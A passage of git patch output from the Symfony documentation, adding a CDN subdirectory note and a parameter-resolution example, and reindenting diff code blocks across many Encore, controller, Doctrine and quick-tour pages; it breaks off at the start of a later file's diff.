 frontend/encore/cdn.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index a7a2884c13a..17df7ffce21 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -39,6 +39,10 @@ pages also use the CDN. Fortunately, the
 :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` paths are updated
 to include the full URL to the CDN.
 
+When deploying to a subdirectory of your CDN, you must add the path at the end of your URL -
+e.g. ``Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net/awesome-website')``
+will generate assets URLs like ``https://my-cool-app.com.global.prod.fastly.net/awesome-website/dashboard.js``
+
 If you are using ``Encore.enableIntegrityHashes()`` and your CDN and your domain
 are not the `same-origin`_, you may need to set the ``crossorigin`` option in
 your webpack_encore.yaml configuration to ``anonymous`` or ``use-credentials``

From 52ce42f0dd0003b993c52766ccd750c01ccc648b Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Tue, 2 Mar 2021 11:21:11 +0100
Subject: [PATCH 0555/5766] Add part about resolving parameter values to
 prepend extension

---
 bundles/prepend_extension.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 2b6f9dbfe3f..d0c6522e4ec 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -82,6 +82,9 @@ in case a specific other bundle is not registered::
 
         // process the configuration of AcmeHelloExtension
         $configs = $container->getExtensionConfig($this->getAlias());
+        // resolve config parameters e.g. %kernel.debug% to boolean value
+        $resolvingBag = $container->getParameterBag();
+        $configs = $resolvingBag->resolveValue($configs);
         // use the Configuration class to generate a config array with
         // the settings "acme_hello"
         $config = $this->processConfiguration(new Configuration(), $configs);

From 8132571a84ee69102c743368c2b3aa78416defee Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 20 Feb 2021 20:22:27 +0100
Subject: [PATCH 0556/5766] [#15009] Fix inconsistent diff examples

---
 frontend/encore/legacy-applications.rst | 3 +++
 frontend/encore/split-chunks.rst        | 2 ++
 frontend/encore/typescript.rst          | 3 ++-
 frontend/encore/versioning.rst          | 2 +-
 quick_tour/flex_recipes.rst             | 6 +++---
 setup/flex.rst                          | 6 +++---
 6 files changed, 14 insertions(+), 8 deletions(-)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 4f1193d7e06..f76bc35adcb 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -32,6 +32,7 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
     +     .autoProvidejQuery()
@@ -74,6 +75,8 @@ page, add:
 
 .. code-block:: diff
 
+    // webpack.config.js
+
     // require jQuery normally
     const $ = require('jquery');
 
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index ebaa4ee48ce..b03952a3153 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -10,6 +10,7 @@ To enable this, call ``splitEntryChunks()``:
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
 
@@ -52,6 +53,7 @@ this plugin with the ``configureSplitChunks()`` function:
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
 
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index b1af45d9c04..0ca51f7a13f 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -6,8 +6,8 @@ Want to use `TypeScript`_? No problem! First, enable it:
 .. code-block:: diff
 
     // webpack.config.js
-    // ...
 
+    // ...
     Encore
         // ...
     +     .addEntry('main', './assets/main.ts')
@@ -30,6 +30,7 @@ method.
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
         .addEntry('main', './assets/main.ts')
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 1f3d0cdd39e..27177d2d554 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -13,8 +13,8 @@ ignoring any existing cache:
 .. code-block:: diff
 
     // webpack.config.js
-    // ...
 
+    // ...
     Encore
         .setOutputPath('public/build/')
         // ...
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 435b4f07351..16724e3ee90 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -83,9 +83,9 @@ Thanks to Flex, after one command, you can start using Twig immediately:
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
-    -class DefaultController
-    +class DefaultController extends AbstractController
-     {
+    - class DefaultController
+    + class DefaultController extends AbstractController
+    {
          /**
           * @Route("/hello/{name}")
           */
diff --git a/setup/flex.rst b/setup/flex.rst
index eaba102d073..31f034db862 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -61,9 +61,9 @@ manual steps:
        {
            "require": {
                "symfony/flex": "^1.0",
-       +     },
-       +     "conflict": {
-       +         "symfony/symfony": "*"
+       +   },
+       +   "conflict": {
+       +       "symfony/symfony": "*"
            }
        }
 

From 4865b3bfa9ae03cb9a8dfda0793c4a9225c92fd7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Feb 2021 19:09:49 +0100
Subject: [PATCH 0557/5766] [#15009] Fix indentation of all diff code blocks
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Co-authored-by: Jérémy Derussé <jeremy@derusse.com>
---
 configuration/dot-env-changes.rst          |  8 ++--
 controller.rst                             | 10 ++---
 doctrine.rst                               | 14 +++----
 frontend/encore/cdn.rst                    | 18 ++++-----
 frontend/encore/copy-files.rst             |  8 ++--
 frontend/encore/custom-loaders-plugins.rst |  8 ++--
 frontend/encore/dev-server.rst             | 24 ++++++------
 frontend/encore/faq.rst                    | 10 ++---
 frontend/encore/legacy-applications.rst    | 14 +++----
 frontend/encore/postcss.rst                | 24 ++++++------
 frontend/encore/reactjs.rst                | 10 ++---
 frontend/encore/shared-entry.rst           | 10 ++---
 frontend/encore/simple-example.rst         | 36 +++++++++---------
 frontend/encore/split-chunks.rst           | 24 ++++++------
 frontend/encore/typescript.rst             | 28 +++++++-------
 frontend/encore/versioning.rst             | 10 ++---
 frontend/encore/virtual-machine.rst        | 36 +++++++++---------
 frontend/encore/vuejs.rst                  | 24 ++++++------
 http_cache.rst                             | 12 +++---
 page_creation.rst                          | 28 +++++++-------
 quick_tour/flex_recipes.rst                | 24 ++++++------
 quick_tour/the_architecture.rst            | 30 +++++++--------
 quick_tour/the_big_picture.rst             | 44 +++++++++++-----------
 security.rst                               | 40 ++++++++++----------
 security/form_login_setup.rst              | 12 +++---
 security/guard_authentication.rst          | 32 ++++++++--------
 security/securing_services.rst             | 24 ++++++------
 service_container.rst                      | 36 +++++++++---------
 setup/flex.rst                             | 10 ++---
 setup/unstable_versions.rst                | 10 ++---
 setup/upgrade_major.rst                    | 34 ++++++++---------
 setup/upgrade_minor.rst                    | 34 ++++++++---------
 32 files changed, 343 insertions(+), 343 deletions(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index df418e6ea75..316bfa01aba 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -60,16 +60,16 @@ changes can be made to any Symfony 3.4 or higher app:
 
    .. code-block:: diff
 
-       # .gitignore
-       # ...
+         # .gitignore
+         # ...
 
-       ###> symfony/framework-bundle ###
+         ###> symfony/framework-bundle ###
        - /.env
        + /.env.local
        + /.env.local.php
        + /.env.*.local
 
-       # ...
+         # ...
 
 #. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``:
 
diff --git a/controller.rst b/controller.rst
index 212d0a2b509..ef3c3987a96 100644
--- a/controller.rst
+++ b/controller.rst
@@ -98,16 +98,16 @@ Add the ``use`` statement atop your controller class and then modify
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
-    namespace App\Controller;
+      // src/Controller/LuckyController.php
+      namespace App\Controller;
 
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
 That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>`
 and many others that you'll learn about next.
diff --git a/doctrine.rst b/doctrine.rst
index 8226bf22700..e1ee1785c00 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -280,20 +280,20 @@ methods:
 
 .. code-block:: diff
 
-    // src/Entity/Product.php
-    // ...
+      // src/Entity/Product.php
+      // ...
 
-    class Product
-    {
-        // ...
+      class Product
+      {
+          // ...
 
     +     /**
     +      * @ORM\Column(type="text")
     +      */
     +     private $description;
 
-        // getDescription() & setDescription() were also added
-    }
+          // getDescription() & setDescription() were also added
+      }
 
 The new property is mapped, but it doesn't exist yet in the ``product`` table. No
 problem! Generate a new migration:
diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index a7a2884c13a..267e3e2f88f 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -6,15 +6,15 @@ built files are uploaded to the CDN, configure it in Encore:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
-
-    Encore
-        .setOutputPath('public/build/')
-        // in dev mode, don't use the CDN
-        .setPublicPath('/build');
-        // ...
-    ;
+      // webpack.config.js
+      // ...
+
+      Encore
+          .setOutputPath('public/build/')
+          // in dev mode, don't use the CDN
+          .setPublicPath('/build');
+          // ...
+      ;
 
     + if (Encore.isProduction()) {
     +     Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net');
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index bc263ef056a..dc97fb0d434 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -32,11 +32,11 @@ files into your final output directory.
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
-        .setOutputPath('public/build/')
+      Encore
+          // ...
+          .setOutputPath('public/build/')
 
     +     .copyFiles({
     +         from: './assets/images',
diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 66ce1f7c5cc..31c688ffc75 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -50,14 +50,14 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
     + var webpack = require('webpack');
 
-    Encore
-        // ...
+      Encore
+          // ...
 
     +     .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/))
-    ;
+      ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader
 .. _`plugins`: https://webpack.js.org/plugins/
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 3a602f89b19..76047ddc2a7 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -65,14 +65,14 @@ the ``package.json`` file:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 If you experience issues related to CORS (Cross Origin Resource Sharing), add
 the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
@@ -80,14 +80,14 @@ command in the ``package.json`` file:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --port 8080 --disable-host-check",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 3c621c3b8d0..f349cf350cf 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -63,11 +63,11 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .setOutputPath('public/build/')
+          .setOutputPath('public/build/')
 
     -     .setPublicPath('/build')
     +     // this is your *true* public path
@@ -76,7 +76,7 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
     +     // this is now needed so that your manifest.json keys are still `build/foo.js`
     +     // (which is a file that's used by Symfony's `asset()` function)
     +     .setManifestKeyPrefix('build')
-    ;
+      ;
 
 If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
 Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index f76bc35adcb..36087b88978 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -32,11 +32,11 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
     +     .autoProvidejQuery()
-    ;
+      ;
 
 After restarting Encore, Webpack will look for all uninitialized ``$`` and ``jQuery``
 variables and automatically require ``jquery`` and set those variables for you.
@@ -75,10 +75,10 @@ page, add:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    // require jQuery normally
-    const $ = require('jquery');
+      // require jQuery normally
+      const $ = require('jquery');
 
     + // create global $ and jQuery variables
     + global.$ = global.jQuery = $;
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 76c6e8d67e9..e30af2ae6ca 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -28,12 +28,12 @@ Then, enable the loader in Encore!
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enablePostCssLoader()
-    ;
+      ;
 
 Because you just modified ``webpack.config.js``, stop and restart Encore.
 
@@ -42,17 +42,17 @@ You can also pass options to the `postcss-loader`_ by passing a callback:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enablePostCssLoader((options) => {
     +         options.config = {
     +             // the directory where the postcss.config.js file is stored
     +             path: 'path/to/config'
     +         };
     +     })
-    ;
+      ;
 
 .. _browserslist_package_config:
 
@@ -65,25 +65,25 @@ support. The best-practice is to configure this directly in your ``package.json`
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "defaults"
     +  ]
-    }
+      }
 
 The ``defaults`` option is recommended for most users and would be equivalent
 to the following browserslist:
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "> 0.5%",
     +    "last 2 versions",
     +    "Firefox ESR",
     +    "not dead"
     +  ]
-    }
+      }
 
 See `browserslist`_ for more details on the syntax.
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index ca3b017f13b..f7e206e15e8 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -17,13 +17,13 @@ Enable react in your ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enableReactPreset()
-    ;
+      ;
 
 
 Then restart Encore. When you do, it will give you a command you can run to
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
index 6693b649d8d..f71868eee2f 100644
--- a/frontend/encore/shared-entry.rst
+++ b/frontend/encore/shared-entry.rst
@@ -16,13 +16,13 @@ Update your code to use ``createSharedEntry()``:
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      Encore
+          // ...
     -     .addEntry('app', './assets/js/app.js')
     +     .createSharedEntry('app', './assets/js/app.js')
-        .addEntry('homepage', './assets/js/homepage.js')
-        .addEntry('blog', './assets/js/blog.js')
-        .addEntry('store', './assets/js/store.js')
+          .addEntry('homepage', './assets/js/homepage.js')
+          .addEntry('blog', './assets/js/blog.js')
+          .addEntry('store', './assets/js/store.js')
 
 Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
 then ``jquery`` would be packaged into *both* files, which is wasteful. By making
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 4373f9c3b66..2e9153e26db 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -167,8 +167,8 @@ Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-    // assets/js/app.js
-    // ...
+      // assets/js/app.js
+      // ...
 
     + // loads the jquery package from node_modules
     + var $ = require('jquery');
@@ -196,17 +196,17 @@ To export values using the alternate syntax, use ``export``:
 
 .. code-block:: diff
 
-    // assets/js/greet.js
+      // assets/js/greet.js
     - module.exports = function(name) {
     + export default function(name) {
-        return `Yo yo ${name} - welcome to Encore!`;
-    };
+          return `Yo yo ${name} - welcome to Encore!`;
+      };
 
 To import values, use ``import``:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+      // assets/js/app.js
     - require('../css/app.css');
     + import '../css/app.css';
 
@@ -240,13 +240,13 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
-        .addEntry('app', './assets/js/app.js')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('app', './assets/js/app.js')
     +     .addEntry('checkout', './assets/js/checkout.js')
     +     .addEntry('account', './assets/js/account.js')
-        // ...
+          // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
@@ -264,8 +264,8 @@ you need them:
 
 .. code-block:: diff
 
-    {# templates/.../checkout.html.twig #}
-    {% extends 'base.html.twig' %}
+      {# templates/.../checkout.html.twig #}
+      {% extends 'base.html.twig' %}
 
     + {% block stylesheets %}
     +     {{ parent() }}
@@ -294,7 +294,7 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+      // assets/js/app.js
     - import '../css/app.css';
     + import '../css/app.scss';
 
@@ -302,12 +302,12 @@ Then, tell Encore to enable the Sass pre-processor:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
     +    .enableSassLoader()
-    ;
+      ;
 
 Because you just changed your ``webpack.config.js`` file, you'll need to restart
 Encore. When you do, you'll see an error!
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index b03952a3153..f25c876704d 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -10,15 +10,15 @@ To enable this, call ``splitEntryChunks()``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        // multiple entry files, which probably import the same code
-        .addEntry('app', './assets/js/app.js')
-        .addEntry('homepage', './assets/js/homepage.js')
-        .addEntry('blog', './assets/js/blog.js')
-        .addEntry('store', './assets/js/store.js')
+          // multiple entry files, which probably import the same code
+          .addEntry('app', './assets/js/app.js')
+          .addEntry('homepage', './assets/js/homepage.js')
+          .addEntry('blog', './assets/js/blog.js')
+          .addEntry('store', './assets/js/store.js')
 
     +     .splitEntryChunks()
 
@@ -53,11 +53,11 @@ this plugin with the ``configureSplitChunks()`` function:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .splitEntryChunks()
+          .splitEntryChunks()
     +     .configureSplitChunks(function(splitChunks) {
     +         // change the configuration
     +         splitChunks.minSize = 0;
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index 0ca51f7a13f..fbd0b616c86 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -5,20 +5,20 @@ Want to use `TypeScript`_? No problem! First, enable it:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    // ...
-    Encore
-        // ...
+      // ...
+      Encore
+          // ...
     +     .addEntry('main', './assets/main.ts')
 
     +     .enableTypeScriptLoader()
 
-        // optionally enable forked type script for faster builds
-        // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
-        // requires that you have a tsconfig.json file that is setup correctly.
+          // optionally enable forked type script for faster builds
+          // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
+          // requires that you have a tsconfig.json file that is setup correctly.
     +     //.enableForkedTypeScriptTypesChecking()
-    ;
+      ;
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -30,10 +30,10 @@ method.
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
-        .addEntry('main', './assets/main.ts')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('main', './assets/main.ts')
 
     -     .enableTypeScriptLoader()
     +     .enableTypeScriptLoader(function(tsConfig) {
@@ -43,8 +43,8 @@ method.
     +         // tsConfig.silent = false
     +     })
 
-            // ...
-    ;
+              // ...
+      ;
 
 See the `Encore's index.js file`_ for detailed documentation and check
 out the `tsconfig.json reference`_ and the `Webpack guide about Typescript`_.
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 27177d2d554..0911f8d8cc3 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -12,12 +12,12 @@ ignoring any existing cache:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    // ...
-    Encore
-        .setOutputPath('public/build/')
-        // ...
+      // ...
+      Encore
+          .setOutputPath('public/build/')
+          // ...
     +     .enableVersioning()
 
 To link to these assets, Encore creates two files ``entrypoints.json`` and
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 068d5c8451f..40b7ec2d386 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -49,14 +49,14 @@ If your Symfony application is running on a custom domain (e.g.
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --public http://app.vm:8080",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 After restarting Encore and reloading your web page, you will probably see
 different issues in the web console:
@@ -78,14 +78,14 @@ connections:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server --public http://app.vm:8080",
     +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
@@ -100,14 +100,14 @@ the dev-server. To fix this, add the argument ``--disable-host-check``:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
     +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index dd1227c9447..2af99c075fb 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -10,15 +10,15 @@ Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     +     .enableVueLoader()
-    ;
+      ;
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -53,18 +53,18 @@ You can enable `JSX with Vue.js`_ by configuring the second parameter of the
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     -     .enableVueLoader()
     +     .enableVueLoader(() => {}, {
     +         useJsx: true
     +     })
-    ;
+      ;
 
 Next, run or restart Encore. When you do, you will see an error message helping
 you install any missing dependencies. After running that command and restarting
diff --git a/http_cache.rst b/http_cache.rst
index 0bd62b30c8e..6061ed128cc 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -93,20 +93,20 @@ caching kernel:
 
 .. code-block:: diff
 
-    // public/index.php
+      // public/index.php
 
     + use App\CacheKernel;
-    use App\Kernel;
+      use App\Kernel;
 
-    // ...
-    $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
+      // ...
+      $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
     + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
     + if ('prod' === $kernel->getEnvironment()) {
     +     $kernel = new CacheKernel($kernel);
     + }
 
-    $request = Request::createFromGlobals();
-    // ...
+      $request = Request::createFromGlobals();
+      // ...
 
 The caching kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.
diff --git a/page_creation.rst b/page_creation.rst
index 90096beb4d4..817c59fc6ff 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -105,21 +105,21 @@ You can now add your route directly *above* the controller:
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-    // ...
+      // ...
     + use Symfony\Component\Routing\Annotation\Route;
 
-    class LuckyController
-    {
+      class LuckyController
+      {
     +     /**
     +      * @Route("/lucky/number")
     +      */
-        public function number()
-        {
-            // this looks exactly the same
-        }
-    }
+          public function number()
+          {
+              // this looks exactly the same
+          }
+      }
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
 like before! Annotations are the recommended way to configure routes.
@@ -209,16 +209,16 @@ Make sure that ``LuckyController`` extends Symfony's base
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-    // ...
+      // ...
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
 Now, use the handy ``render()`` function to render a template. Pass it a ``number``
 variable so you can use it in Twig::
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 16724e3ee90..1b929667b92 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -75,28 +75,28 @@ Thanks to Flex, after one command, you can start using Twig immediately:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\Routing\Annotation\Route;
+      use Symfony\Component\Routing\Annotation\Route;
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class DefaultController
     + class DefaultController extends AbstractController
-    {
-         /**
-          * @Route("/hello/{name}")
-          */
-         public function index($name)
-         {
+      {
+           /**
+            * @Route("/hello/{name}")
+            */
+           public function index($name)
+           {
     -        return new Response("Hello $name!");
     +        return $this->render('default/index.html.twig', [
     +            'name' => $name,
     +        ]);
-         }
-    }
+           }
+      }
 
 By extending ``AbstractController``, you now have access to a number of shortcut
 methods and tools, like ``render()``. Create the new template:
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index d88bb5d32ed..0d640d1746d 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -138,12 +138,12 @@ difference is that it's done in the constructor:
 
 .. code-block:: diff
 
-    <?php
-    // src/GreetingGenerator.php
+      <?php
+      // src/GreetingGenerator.php
     + use Psr\Log\LoggerInterface;
 
-    class GreetingGenerator
-    {
+      class GreetingGenerator
+      {
     +     private $logger;
     +
     +     public function __construct(LoggerInterface $logger)
@@ -151,15 +151,15 @@ difference is that it's done in the constructor:
     +         $this->logger = $logger;
     +     }
 
-        public function getRandomGreeting()
-        {
-            // ...
+          public function getRandomGreeting()
+          {
+              // ...
 
     +        $this->logger->info('Using the greeting: '.$greeting);
 
-             return $greeting;
-        }
-    }
+               return $greeting;
+          }
+      }
 
 Yes! This works too: no configuration, no time wasted. Keep coding!
 
@@ -279,7 +279,7 @@ from ``dev`` to ``prod``:
 
 .. code-block:: diff
 
-    # .env
+      # .env
     - APP_ENV=dev
     + APP_ENV=prod
 
@@ -321,10 +321,10 @@ Thanks to a new recipe installed by Flex, look at the ``.env`` file again:
 
 .. code-block:: diff
 
-    ###> symfony/framework-bundle ###
-    APP_ENV=dev
-    APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
-    ###< symfony/framework-bundle ###
+      ###> symfony/framework-bundle ###
+      APP_ENV=dev
+      APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
+      ###< symfony/framework-bundle ###
 
     + ###> doctrine/doctrine-bundle ###
     + # ...
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 4fae7ef5991..b6ad8eaafdd 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
